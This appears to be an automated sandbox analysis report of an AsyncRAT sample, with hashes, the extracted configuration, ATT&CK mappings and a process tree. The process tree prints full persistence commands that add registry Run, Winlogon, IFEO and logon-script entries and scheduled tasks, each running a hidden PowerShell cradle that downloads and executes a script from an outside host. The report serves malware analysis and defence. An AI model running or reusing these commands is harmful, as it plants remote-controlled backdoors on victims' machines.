asyncrat | ec83f5a1528da2b5b80e6f352e94e46745b01f5e9a8c52e976a749c758371268

General

Target
dkmm.exe
Size 111KB
Sample261110-weamhact2s
SHA256 ec83f5a1528da2b5b80e6f352e94e46745b01f5e9a8c52e976a749c758371268
MD5 c2046c71a3950aac11893198165ff84d
SHA1 077115e64af4090251d8210d25ebf975fa3b1c1d
SHA512 34650453fc529c92c66e9e0e7c632d8f8ef51687c0ae66574c4ec03106c6d295f8c1f468854f8f43659cac9e77f758786fbaad6a078eea993be685bbea4d8e4d
SSDEEP 3072:ojoK06RHuWrz0w3jw54/6PeCQbTdr4SbZx+4nzMx:ojoK0654cw/eCQbt1zO
TLSH
T1A2B3B54037F94615F2FBAF7CADB5624149BEBD636911CA8D18B0108D0636B81C9E1F7B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

default discovery execution asyncrat persistence rat

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://x88-nhacai.site/load.ps1

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

Mutex

ngBKnNfD2ipg

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6012	powershell.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4116	cmd.exe
52	cmd.exe
5696	cmd.exe
3240	cmd.exe
1528	cmd.exe
3408	cmd.exe
5108	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dkmm.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4348	schtasks.exe
6132	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\dkmm.exe
"C:\Users\Admin\AppData\Local\Temp\dkmm.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:5868
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:3240
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /f
    3⤵
    PID:5644
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:1528
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /f
    3⤵
    PID:1744
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:3408
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /f
    3⤵
    PID:252
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:5108
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /f
    3⤵
    PID:2748
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:4116
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /f
    3⤵
    PID:2068
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  PID:52
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6132
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  PID:5696
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4348

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:6012

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')"
1⤵
PID:3564

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell
1⤵
PID:3060

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:4856

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

1

T1059.001

Windows Command Shell

1

T1059.003

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_5kk4r35t.jsl.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5kk4r35t.jsl.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3060-8-0x00000120EE940000-0x00000120EE988000-memory.dmp

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memory/5868-0-0x0000000074BD2000-0x0000000074BD3000-memory.dmp

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memory/5868-1-0x0000000000B90000-0x0000000000BB2000-memory.dmp

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memory/5868-2-0x0000000074BC0000-0x000000007537C000-memory.dmp

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memory/5868-9-0x0000000074BD2000-0x0000000074BD3000-memory.dmp

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memory/5868-11-0x0000000074BC0000-0x000000007537C000-memory.dmp

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memory/6012-5-0x00000217223E0000-0x0000021722402000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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